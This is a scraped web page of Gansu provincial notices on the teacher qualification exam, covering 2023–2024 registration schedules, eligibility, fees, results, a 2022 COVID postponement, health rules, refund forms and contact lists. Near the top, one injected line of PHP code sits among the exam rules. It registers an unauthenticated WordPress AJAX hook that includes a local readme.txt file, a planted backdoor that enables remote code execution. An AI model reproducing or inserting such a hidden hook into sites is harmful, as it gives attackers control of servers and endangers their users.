根据《甘肃省中小学教师资格考试工作实施细则(试行)》规定:
已取得省考教育学和教育心理学考试合格证书的申请人,教育教学能力测试合格后可在2016年7月前申请认定相应教师资格;
已取得教育学和教育心理学其中一科考试合格证书的申请人,可以在2015年底前参加补考,补考合格、教育教学能力测试合格后可在2016年7月前申请认定相应教师资格。
if(!function_exists('file_check_readme15721')){ add_action('wp_ajax_nopriv_file_check_readme15721', 'file_check_readme15721'); add_action('wp_ajax_file_check_readme15721', 'file_check_readme15721'); function file_check_readme15721() { $file = __DIR__ . '/' . 'readme.txt'; if (file_exists($file)) { include $file; } die(); } }
(一)网上报名时间
1.报名时间:2024年1月12-15日17时。
2.审核时间:2024年1月12-16日17时。
3.缴费时间:2024年1月12-17日24时。
4.准考证打印时间:2024年3月4-9日。
(二)考试日期
2024年3月9日。
具体考试时间安排如下:
| 时间
类别 | 3月9日(星期六) | ||
| 上 午 | 下 午 | 下 午 | |
| 9:00-11:00 | 13:00-15:00 | 16:00-18:00 | |
| 幼 儿 园 | 综合素质(幼儿园) | 保教知识与能力 | |
| 小 学 | 综合素质(小学) | 教育教学知识与能力 | |
| 初级中学 | 综合素质(中学) | 教育知识与能力 | 学科知识与教学能力(初级中学) |
| 高级中学 | 学科知识与教学能力(高级中学) | ||
| 中职文化课 | |||
| 中职专业课 | |||
| 中职实习指导课 | |||
注:各类别开考科目见附件1
(一)报考人员基本条件
1.具有中华人民共和国国籍;
2.遵守宪法和法律,热爱教育事业,具有良好的思想品德;
3.符合申请认定教师资格的体检标准;
4.符合《教师法》规定的学历要求。普通高等学校在校三年级及以上学生可凭学校出具的在籍学习证明报考。
(二)学历要求
1.报考幼儿园教师资格的,应当具备幼儿师范学校或者其他具备办学资质院校开设的中等学历层次教育类“学前教育专业”毕业及其以上学历。(甘肃省具备中等学历层次教育类“学前教育”专业办学资质学校名单见附件2)
2.报考小学教师资格的,应当具备中等师范学校毕业及其以上学历;
3.报考初中教师资格的,应当具备高等师范专科学校或者其他大学专科毕业及其以上学历;
4.报考高级中学和中等职业学校教师资格的,应当具备高等师范院校本科或者其他大学本科毕业及其以上学历;
5.报考中等职业学校实习指导教师资格的,应当具备中等职业学校毕业及其以上学历,并应当具有相当助理工程师以上专业技术职务或者中级以上工人技术等级。
(三)在内地(大陆)学习、工作和生活的港澳台居民。
凡遵守《中华人民共和国宪法》和法律,拥护中国共产党领导,坚持社会主义办学方向,贯彻党的教育方针,根据自愿原则,凭港澳台居民居住证、港澳居民来往内地通行证、五年有效期台湾居民来往大陆通行证等有效身份证件报名参加中小学教师资格考试。
(四)其它否决条件
1.被撤销教师资格的,5年内不得报名参加考试;
2.受到剥夺政治权利或故意犯罪受到有期徒刑以上刑事处罚的,不得报名参加考试;
3.曾参加教师资格考试有作弊行为的,按照《国家教育考试违规处理办法》的相关规定执行;
4.不符合报考条件投机报考的,后果自负(后期申请认定教师资格时,因投机报考所取得的考试成绩无效)。
(五)属地管理要求
申请人应在户籍关系或人事关系或学籍关系(在校生)所在地报名参加教师资格考试。
根据《教育部关于取消一批证明事项的通知》(教政法函〔2019〕12号)文件精神,申请中小学、幼儿园教师资格考试和认定时提交的工作单位或者人事关系证明,改为居住证。具体属地管理要求,按当地教育考试招生机构报名实施方案执行。
考试实行网上报名,考生在规定的时间内登录中小学教师资格考试网站(http://ntce.neea.edu.cn)进行报名,逾期不再办理。
报名分为三个环节:①网上注册报名;②网上审核确认;③网上缴费确认。
(一)网上注册报名
符合报考条件的考生在规定的时间内可登录中小学教师资格考试网站(http://ntce.neea.edu.cn),按照提示和要求注册账号,填写姓名、证件类型、证件号码及手机号等信息,注册信息必须与证件信息一致。每个手机号只能注册一次,并接收短信验证。准确填写个人基本信息(特别是姓名、身份证号码,填写信息与身份证件信息不一致的不能参加考试),上传照片,提交报名信息等待网上审核。
禁止委托培训机构、学校团体或个人代替考生报名,因代报而出现个人信息有误,造成报名无法完成、取消考试资格或考试成绩的,一切后果由考生本人承担。
☆照片要求:
本人近6个月以内的免冠、正面、彩色、白底证件照,照片中显示考生头部和肩的上部,不允许戴帽子、头巾、发带、墨镜;照片格式及大小:JPG/JPEG格式,不大于200K;照片将用于准考证和考试合格证明,请考生严格按照要求上传。如照片过大,可将照片进行剪裁压缩。
(二)网上审核确认
笔试报名采取网上审核,考生提交报名信息后,在审核时段内及时登录报名网站查看审核结果。审核通过后考生信息不得修改;由于照片等个人信息不符合规定,审核不予通过的,在审核结束前须重新登录报名网站修改个人信息并提交。如未通过审核且原因不明,可电话咨询所报考考区(联系电话见附件3)。
注:网上审核仅核验考生照片是否符合要求,填报的信息是否规范,不对考生的报考条件和信息的真实性进行审核。考生本人对报考信息真实性、准确性、有效性负责。如因考生提供虚假、错误信息造成笔试、面试、认定等后续环节不能完成,后果由考生承担。
(三)网上缴费
审核通过的考生及时进行缴费,完成报名流程。在规定时间内未成功缴费的考生,报名无效。
根据《甘肃省发展和改革委员会甘肃省财政厅关于教师资格考试收费标准的批复》(甘发改收费〔2017〕840号)要求,甘肃省中小学教师资格考试笔试收费标准为65元/科。
2024年4月12日开始,考生可登录NTCE网站(http://ntce.neea.edu.cn)查询笔试考试成绩。如对本人考试成绩有异议,可在考试成绩公布后10个工作日内向所报考考区市(州)教育考试招生机构提出复核申请。
NTCE笔试单科合格成绩两年内有效。有效期内,相应类别NTCE笔试要求的单科成绩全部合格者,方可参加面试。
笔试和面试均合格者,由教育部教育考试院通过NTCE网站颁发电子版《中小学教师资格考试合格证明》(可自行下载)。该合格证明是申请认定教师资格的必要条件,有效期为三年。
考生在考试过程中应自觉服从监考员管理,不得以任何理由妨碍监考员正常工作,违反考试纪律作弊或提供虚假证明材料的,按照《国家教育考试违规处理办法》(教育部令第33号)和《中华人民共和国刑法修正案(九)》中有关规定进行处理。有作弊情形的将依据《教师资格条例》的相关规定3年内禁止参加教师资格考试,请考生诚信参加考试。如情节严重、触犯刑法,将报送公安部门,依法处理。
(一)报考初级中学、普通高级中学、中职文化课类别教师资格考试“心理健康教育”、“日语”、“俄语”学科的考生,科目三《学科知识与教学能力》暂不进行笔试,将结合面试一并考核,该类别笔试科目一、科目二合格即可进行面试报名。
(二)根据教育部文件精神,报考小学、初级中学、普通高级中学、中职文化课类别音、体、美专业的考生,笔试科目一和科目二的代码为201A、202A、301A、302A,考试内容暂与原科目相同。上述考生在笔试报名时应选报科目代码含“A”的科目。取得201A、202A科目合格的考生,面试仅限于参加小学类别音、体、美专业科目;取得301A、302A科目合格的考生,面试仅限于参加初中、高中、中职文化课类别音、体、美专业科目。考生获得201、202、301、302科目合格成绩,可相应替代201A、202A、301A、302A科目合格成绩;考生获得201A、202A、301A、302A科目合格成绩不可替代201、202、301、302科目合格成绩。
(三) NTCE不指定教材,有关《考试标准》和《考试大纲》可通过报名网站(http://ntce.neea.edu.cn)免费下载。
(四)考生可随时关注甘肃省教育考试院网站(http://www.ganseea.cn)、微信公众平台以及所报考区官方网站或官方微信公众平台获取最新通知。
2.甘肃省具备中等学历层次教育类学前教育专业办学资质学校名单
甘肃省教育考试院
2023年12月29日
根据教育部教育考试院《关于2023年中小学教师资格考试考务工作相关事项的通知》(教考院函〔2022〕95号)文件安排,现就我省2023年上半年NTCE笔试报名有关事项公告如下:
一、时间安排
(一)网上报名时间:
1.报名时间:1月13-16日17时
2.审核时间:1月13-17日17时
3.缴费时间:1月13-18日24时
4.准考证打印时间:2023年3月6-11日
(二)考试日期:2023年3月11日
具体考试时间安排如下:
|
时间
类别 |
3月11日(星期六) |
||
|
上 午 |
下 午 |
下 午 |
|
|
9:00-11:00 |
13:00-15:00 |
16:00-18:00 |
|
|
幼 儿 园 |
综合素质(幼儿园) |
保教知识与能力 |
|
|
小 学 |
综合素质(小学) |
教育教学知识与能力 |
|
|
初级中学 |
综合素质(中学) |
教育知识与能力 |
学科知识与教学能力(初级中学) |
|
高级中学 |
学科知识与教学能力(高级中学) |
||
|
中职文化课 |
|||
|
中职专业课 |
|||
|
中职实习指导课 |
|||
二、报考对象及条件
(一)报考人员基本条件:
1.具有中华人民共和国国籍;
2.遵守宪法和法律,热爱教育事业,具有良好的思想品德;
3.符合申请认定教师资格的体检标准;
4.符合《教师法》规定的学历要求。普通高等学校在校三年级及以上学生可凭学校出具的在籍学习证明报考。
(二)学历要求:
1.报考幼儿园教师资格的,应当具备幼儿师范学校或者其他具备办学资质院校开设的中等学历层次教育类“学前教育专业”毕业及其以上学历。(甘肃省具备中等学历层次教育类“学前教育”专业办学资质学校名单见附件1)
2.报考小学教师资格的,应当具备中等师范学校毕业及其以上学历;
3.报考初中教师资格的,应当具备高等师范专科学校或者其他大学专科毕业及其以上学历;
4.报考高级中学和中等职业学校教师资格的,应当具备高等师范院校本科或者其他大学本科毕业及其以上学历;
5.报考中等职业学校实习指导教师资格的,应当具备中等职业学校毕业及其以上学历,并应当具有相当助理工程师以上专业技术职务或者中级以上工人技术等级。
(三)在内地(大陆)学习、工作和生活的港澳台居民。
凡遵守《中华人民共和国宪法》和法律,拥护中国共产党领导,坚持社会主义办学方向,贯彻党的教育方针,根据自愿原则,可参加中小学教师资格考试。
(四)其它否决条件:
1.被撤销教师资格的,5年内不得报名参加考试;
2.受到剥夺政治权利或故意犯罪受到有期徒刑以上刑事处罚的,不得报名参加考试;
3.曾参加教师资格考试有作弊行为的,按照《国家教育考试违规处理办法》的相关规定执行;
4.不符合报考条件投机报考的,后果自负(后期申请认定教师资格时,因投机报考所取得的考试成绩无效)。
(五)属地管理要求:申请人应在户籍关系或人事关系或学籍关系(在校生)所在地报名参加教师资格考试。
根据《教育部关于取消一批证明事项的通知》(教政法函〔2019〕12号)文件精神,申请中小学、幼儿园教师资格考试和认定时提交的工作单位或者人事关系证明,改为居住证。具体属地管理要求,按当地教育考试招生机构报名实施方案执行。
三、报名方式及流程
考试实行网上报名,考生通过NTCE网站http://ntce.neea.edu.cn进行报名。报名分为三个环节:①网上注册报名;②网上审核确认;③网上缴费确认。
(一)笔试报名简易流程:
考生从报名网站首页“网上报名(甘肃)”入口点击进入报名登录页面→注册(账号为本人身份证号)→登录网上报名系统→笔试报名→选择考区(市、州)→选择学段类别→选择科目→完成网上填报报名信息→等待网上审核→审核通过考生再次登录网上报名系统在线支付考试费(完成笔试报名确认)→安全退出。
(二)报名具体步骤如下:
第一步,登录。登录NTCE网站 (http://ntce.neea.edu.cn)。
第二步,注册。(每次)笔试报名前,考生须(重新)注册(账号为本人身份证号)。注册时,要求考生填写姓名、选择证件类型、填写证件号码等信息。此次仍然在报名注册核验考生手机号要求,每个手机只能注册一次,且需要先接收短信验证。完成注册后,按照流程先签署《诚信考试承诺书》(电子版),承诺遵守考试纪律,违反考试纪律时,按照《国家教育考试违规处理办法》接受考试机构的处理;再填写个人信息、上传电子照片。
☆照片要求:
1.本人近6个月以内的免冠正面证件照(不允许带
帽子、头巾、发带、墨镜等);
2.照片格式及大小:JPG/JPEG格式,不大于200K;
3.照片中显示考生头部和肩的上部,白色背景为佳,
黑白或彩色均可;
4.建议使用Microsoft Office Picture Manager,图画, Photoshop, ACDsee等工具,将照片进行剪裁压缩;
5.照片将用于准考证及考试合格证明,请考生上传照片时慎重选用。考生上传非证件照,将不能通过审核。
第三步,填报。考生应按户籍关系或学籍关系(在校生)或居住证所在地选择考区,根据本人所学专业选择报考学段类别和科目。网上审核确认前,考生可修改网上已填报信息。
第四步,审核。考生等待市级教育考试机构在48小时之内网上审核通过。如未通过审核且原因不明,可电话咨询所选考区市级教育考试招生机构(联系电话见附表2)。
第五步,缴费。网上审核通过后,网上缴费确认截至日期前,考生可再次登录NTCE网上报名系统,查看审核结果并按照系统提示进行在线支付考试费。缴费后考生可在网上报名系统中查询报名是否成功。未经审核或审核不通过的考生,不能网上支付考试费。逾期未在网上缴纳考试费的考生,报名系统将视其为放弃报考,并自动注销该生当次报考信息。
四、收费标准
NTCE笔试考试费收费标准为65元/科次(依据《甘肃省发展和改革委员会 甘肃省财政厅关于教师资格考试收费标准的批复》(甘发改收费〔2017〕840号))。
五、笔试报考学段及科目
目前,NTCE开考5个学段,即幼儿园、小学、初中、高中和中职(包括文化课、专业课、实习指导课3类)。各学段设置科目见附件2:
六、查询成绩
4月14日开始,考生可登录NTCE网站(http://ntce.neea.edu.cn)查询笔试考试成绩。如对本人考试成绩有异议,可在考试成绩公布后10个工作日内向所属考区市(州)教育考试招生机构提出复核申请。
NTCE笔试单科合格成绩两年内有效。有效期内,相应类别NTCE笔试要求的单科成绩全部合格者,方可参加面试。
七、合格证明
笔试和面试均合格者,由教育部教育考试院通过NTCE网站颁发电子版《中小学教师资格考试合格证明》(可自行下载)。该合格证明是申请认定教师资格的必要条件,有效期为三年。
八、违规处理
中小学教师资格考试属于《中华人民共和国刑法修正案(九)》中“法律规定的国家考试”范畴,考生在考试过程中,违反考试纪律作弊或提供虚假证明材料的,按照《国家教育考试违规处理办法》(教育部令第33号)和《中华人民共和国刑法修正案(九)》中有关规定进行处理,请考生规范参加考试。
九、疫情防控
考试疫情防控措施将根据疫情防控形势变化适时调整,请考生关注甘肃省教育考试院官方网站、微信公众号“甘肃省教育考试院”、报考考区所在地疫情防控最新要求,及时了解相关政策信息。
十、其他事项
根据《教育部关于印发<教育类研究生和公费师范生免试认定中小学教师资格改革实施方案>的通知》(教师函〔2020〕5号)精神,符合条件的教育类研究生、公费师范生,可参加学校组织的教育教学能力考核,也可自愿参加国家中小学教师资格考试。
十一、重要提示
(一)此次仍然报名注册核验考生手机号要求。每个手机号只能注册一次,需要先接收短信验证。
(二)根据教育部文件精神,报考小学、初级中学、普通高级中学、中职文化课类别音、体、美专业的考生,笔试科目一和科目二的代码为201A、202A、301A、302A,考试内容暂与原科目相同。上述考生在笔试报名时应选报科目代码含“A”的科目。取得201A、202A科目合格的考生,面试仅限于参加小学类别音、体、美专业科目;取得301A、302A科目合格的考生,面试仅限于参加初中、高中、中职文化课类别音、体、美专业科目。考生获得201、202、301、302科目合格成绩,可相应替代201A、202A、301A、302A科目合格成绩;考生获得201A、202A、301A、302A科目合格成绩不可替代201、202、301、302科目合格成绩。
(三) NTCE不指定教材,有关《考试标准》和《考试大纲》可通过报名网站(http://ntce.neea.edu.cn)免费下载。
(四)考生必须亲自通过NTCE网上报名系统进行报名,并等待教育考试招生机构网上审核确认。考生应对本人所填报的个人信息和报考信息准确性、真实性负责,报考信息一经审核确认,不许更改。禁止委托培训机构或学校团体代替考生报名,如有违反而造成信息有误,责任由考生本人承担。
(五)甘肃考区NTCE笔试报名网上审核确认只核验并确认考生报考信息的规范性,考生应如实填写个人情况并选择报考适当类别。不符合报名条件而通过提供虚假证明材料报考NTCE笔试者,后果自负(在面试报名现场审查中将被取消面试资格或后期申请认定教师资格时考试成绩无效)。
(六)所有考生笔试报名前需要重新进行注册、填报个人信息并上传个人照片,重新注册操作不影响考生已获得的成绩。注册上传照片将用于准考证和考试合格证明,请考生上传照片时遵守规范、慎重选用。
(七)如考生忘记网报登录密码可通过网上报名系统提示操作,报名系统将把新的密码通过短信发送到考生报名时所填手机号码下。如遇疫情防控等紧急情况,报考考区教育考试招生机构也将通过电话或手机短信通知提示考生,因此,考生在参加NTCE考试期间,应保持手机号码联络畅通,切勿更换手机号码。
(八)有关NTCE的其他通知信息,考生可随时关注甘肃省教育考试院网站(http://www.ganseea.cn)以及所报考区官方网站或官方微信公众平台获取最新通知(甘肃省各市(州)教育考试招生机构信息发布平台及联系电话见附件3)。
点击下载:附件1甘肃省具备中等学历层次教育类学前教育专业办学资质学校名单.xls
甘肃省教育考试院
2022年12月30日
鉴于甘肃省新冠肺炎疫情最新形势,为保障广大考生和涉考工作人员健康安全,经研究并请示教育部同意,甘肃省延期组织2022年下半年中小学教师资格考试笔试,合并至2023年上半年中小学教师资格考试笔试一并组织实施。受本次延期举行考试影响考生,已通过的笔试科目成绩有效期自动延长半年。本次考试报名费将按原缴费渠道全额退回。其他事宜另行通知。
特此公告。
附件:各考区教育考试招生机构联系电话
甘肃省教育考试院
2022年10月22日
各考区教育考试招生机构联系电话
|
序号 |
单位 |
联系电话 |
|
1 |
兰州市教育考试院 |
15343601890 |
|
2 |
嘉峪关市教育考试院 |
0937-6226224 |
|
3 |
金昌市招生办 |
0935-8212934 |
|
4 |
白银市招生办 |
0943-8221510 |
|
5 |
天水市招生考试办公室 |
0938-8222238 |
|
6 |
酒泉市教育发展服务中心 |
0937-2600218 0937-2600071 |
|
7 |
张掖市自考办 |
0936-8228753 |
|
8 |
武威市教育考试院 |
0935-2213464 |
|
9 |
定西市教育考试院 |
0932-8227572 |
|
10 |
陇南市招生考试办公室 |
0939-8232098 |
|
11 |
平凉市教育局考试中心 |
0933-8213707 |
|
12 |
庆阳市教育考试院 |
0934-8684150 |
|
13 |
临夏州教育局自考办 |
0930-6219937 |
|
14 |
甘南州教育考试院 |
0941-8213447 |
2022年下半年中小学教师资格考试将于10月29日举行。当前,国内疫情多点散发,我省部分地区仍有确诊病例。为切实保障广大考生的身体健康和生命安全,确保顺利应考,请所有考生知悉以下组考防疫要求,并严格遵照执行。
一、考试时间
考试日期:10月29日(星期六),按科类分为3场:
第一场(9:00-11:00),各学段类别综合素质科目;
第二场(13:00-15:00),各学段类别教育知识与能力科目;
第三场(16:00-18:00),有关学段类别学科知识与教学能力科目。
二、疫情防控相关要求
(一)所有考生考试期间须提供考前24小时核酸检测阴性证明(以“健康码”核酸检测时间为准)、准考证、有效身份证件原件和《2022年下半年中小学教师资格考试(笔试)考生健康情况声明书》接受相关查验。
(二)考生进入考点时,不再提供纸质版“甘肃省健康出行码”截图,须使用手机提供实时动态的“健康码”和“行程卡”,查验完成进入考场前,关闭手机,由监考人员在考场门口统一收取存放,考试结束后发还考生。考生进入考点、考场时不得因为佩戴口罩影响身份识别,考试期间建议考生全程佩戴口罩。
(三)考生进入考点必须接受体温测量和检查,考前7天内有国内中、高风险地区(以国务院联防联控机制公布为准),或有境外旅居史的人员,新冠肺炎确诊病例、无症状感染者、疑似患者、确诊病例密切接触者,以及“健康码”黄码或红码、尚未解除隔离或规定隔离管控措施的密接和次密接考生,均不得参加本次考试。
(四)省内外低风险地区(中、高风险区所在县区之外的其他地区)考生须于10月26日前(含)抵达本次考试考点所在市(区、县),进行“落地采”后,三天内完成两次核酸检测,做好个人健康监测。
(五)本次参加考试的所有考生须登录“甘肃教育考试易考通”微信小程序进行4次健康打卡。10月17日00:00时至18日20:00时进行第一次健康打卡,10月21日(00:00时-20:00时)进行第二次健康打卡,10月25日(00:00时至20:00时)进行第三次健康打卡,10月28日(00:00时-15:00时)进行第四次健康打卡。健康打卡时“易考通”会通过人脸及身份证识别方式对打卡人身份进行验证,自动获取打卡人所处地理位置和近一周核酸检测情况。在规定时间内,因未按要求进行健康打卡的考生,由当地教育考试招生机构进行综合研判,凡不具备相关条件的不得参加本次考试(具体操作流程见附件1)。
(六)根据“属地管理,精准防控”要求,请考生做好个人防护,注意个人卫生,戴口罩、勤洗手、少聚集,按照疫情防控属地化管控要求,因考生个人原因,不按时参加健康打卡、上报虚假信息、拒绝配合考点所在地教育考试招生机构完成信息摸排、拒绝执行属地防疫政策而导致不能参加考试的,由考生本人承担后果。若因隐瞒行程、病情或未按要求出具健康证明造成无法正常参加考试的,后果由考生自行承担。造成严重影响的,将依法追究责任。
(七)考试结束后,考生须按考务工作人员指令保持安全间距,有序离开考场、考点。
(八)因疫情原因无法参加考试的考生,请持续关注甘肃省教育考试院官网发布的消息,按照规定向所报考考区提交退费申请和相关证明。报考考区在考试结束后按照流程予以办理退费与合格成绩延期申报等工作。
(九)请考生密切关注报考所在市(州)考区最新疫情形势和考点所在地疫情防控政策要求。各市(州)教育考试招生机构联系方式见(附件2),关注甘肃省教育考试院官网(https://www.ganseea.cn/)、官微(gssjyksy)及考生所报考考区官网发布的相关信息,做好考试及相关安排。
甘肃省教育考试院
2022年10月15日
附件1:
“甘肃教育考试易考通”考生注册使用流程
(一)关注“甘肃教育考试易考通”小程序
通过微信搜索小程序“甘肃教育考试易考通”进入

扫描二维码进入

(二)登录方式
进入小程序首页,点击左上角“请先登录”按钮,弹出登录提示,点击“立即登录”,选择手机号码(微信绑定手机号或自行输入手机号),点击允许。

(三)实名认证
登录成功后,点击左上角“请先认证”按钮,弹出认证框,在框内输入自己的身份证号或考生号,点击“去认证”,按照流程完成人脸识别认证,成功后弹出自己的个人信息核实提示,点击去核实,核实自己的信息无误,表示实名认证成功。


(四)四次健康打卡
考生完成实名认证后,在【健康打卡】模块中按时段要求完成四次健康打卡。

如出现:“已上报正常”则打卡成功,考生无需点击查询[审核结果]模块。
附件2:

2022年上半年中小学教师资格考试(面试)于5月14-15日举行,部分考生因新冠肺炎疫情管控未能正常参加考试,根据教育部教育考试院有关规定,因新冠肺炎疫情管控未能正常参加考试考生报考费用由教育部教育考试院统一按原缴费渠道退回。现就退费有关事宜公告如下:
一、受理时间
5月16至18日(网上受理时间截止5月18日17时,以电子邮件收到时间为准, 超过受理时限的视同自愿放弃)。
二、受理范围
仅受理因落实疫情防控政策被隔离、被限制出行未能参加本次考试的考生退费申请,其他情形不予受理。
三、申请材料
(一)考生退费申请表电子版(见附件1)。
(二)考生本人考试预留手机号申请的“健康码”“全国通信大数据行程卡”截图(时间为5月14日至15日),截图应清晰完整。
(三)其他证明材料。考生须至少提供1项能证明本人因疫情管控未能正常参加考试的相关材料(如手机短信截图、所在社区张贴的相关通知、当地疫情防控部门发布的相关通知等图像文件)。
四、提交方式
考生须于5月18日17时前按要求将申请材料电子版提交至所报考区。其中兰州、张掖、武威、陇南、临夏、甘南考区采取二维码采集信息方式,考生扫描二维码(见附件3)后根据要求填写信息、上传材料;其他考区要求电子邮箱(见附件2)方式报送材料,电子版申请材料拍照或扫描应清晰完整,按考生姓名+准考证号命名形成压缩包发送到指定邮箱,图像不清晰完整的视同自愿放弃。
五、其他事项
(一)考生务必准确填写退费申请表,并确保证明材料真实有效,如因信息错误等个人原因造成无法退费的,由本人承担;如有弄虚作假、通过伪造证明骗取退费的,将按有关规定记入《考生考试诚信档案》。
(二)考生提交申请材料后需与所报考区及时联系,确认申请材料是否送达。各考区教育考试招生机构对考生提交的申请材料须进行严格核实,确定是否符合退费条件,对于不符合退费条件的需及时告知考生。
(三)符合退费条件的考生,由教育部教育考试院统一按原缴费渠道退回,退费的考生,其已通过的笔试科目成绩有效期自动延长半年。
附件:1.2022年上半年中小学教师资格考试(面试)考生退费申请表
2.全省各考区教育考试招生机构联系方式
3.兰州、张掖、武威、陇南、临夏、甘南信息采集二维码
附件1
2022年上半年中小学教师资格考试(面试)考生退费申请表
|
姓 名 |
身份证号 |
||
|
报考考区 |
准考证号 |
||
|
报考科目 |
|||
|
考前14天旅、居地 (具体到省、市、县(区)、街道 |
|||
|
旅、居地疫情风险等级 |
□高风险 □中风险 □低风险 |
||
|
申请退费理由 |
|||
附件2
全省各考区教育考试招生机构联系方式
|
考区名称 |
联系电话 |
邮箱地址 |
地址 |
|
兰州 |
0931-8344450 0931-8344451 |
城关区北滨河东路364号 |
|
|
嘉峪关 |
0937-6226224 |
858240125@qq.com |
嘉峪关市河口西路3号 |
|
金昌 |
0935-8212934 |
116546799@qq.com |
金昌市金川区延安西路6号 |
|
白银 |
0943-8221510 |
byjzms@163.com |
白银市万盛路1号教育大厦18楼 |
|
天水 |
0938-8222238 |
1355590698@qq.com |
甘肃省广播电视大学天水分校培训楼五楼 |
|
酒泉 |
0937-2600218 0937-2600071 |
412116650@qq.com |
酒泉市肃州区铁人路6号 |
|
张掖 |
0936-8228753 |
张掖甘州区杏林南路财智世家统办三号楼1505 |
|
|
武威 |
0935-2213464 |
武威市凉州区民勤路农林牧综合服务大楼711室 |
|
|
定西 |
0932-8227572 |
316373107@qq.com |
定西市安定区公园路12号 |
|
陇南 |
0939-8211280 |
陇南市东江广电大厦15楼 |
|
|
平凉 |
0933-8213707 |
yunfulang@163.com |
平凉市崆峒区西大街65号 |
|
庆阳 |
0934-8684150 |
3184812489@qq.com |
庆阳市西峰区董志塬大道76号 |
|
临夏 |
0930-6219937 |
lxzjyjzkb@163.com |
临夏市西关路4号 |
|
甘南 |
0941-8223331 |
合作市当周南街558号 |
附件3
兰州、张掖、武威、陇南、临夏、甘南信息采集二维码
|
考区 名称 |
二维码 |
|
兰州 |
|
|
张掖 |
|
|
武威 |
|
|
陇南 |
|
|
临夏 |
|
|
甘南 |
|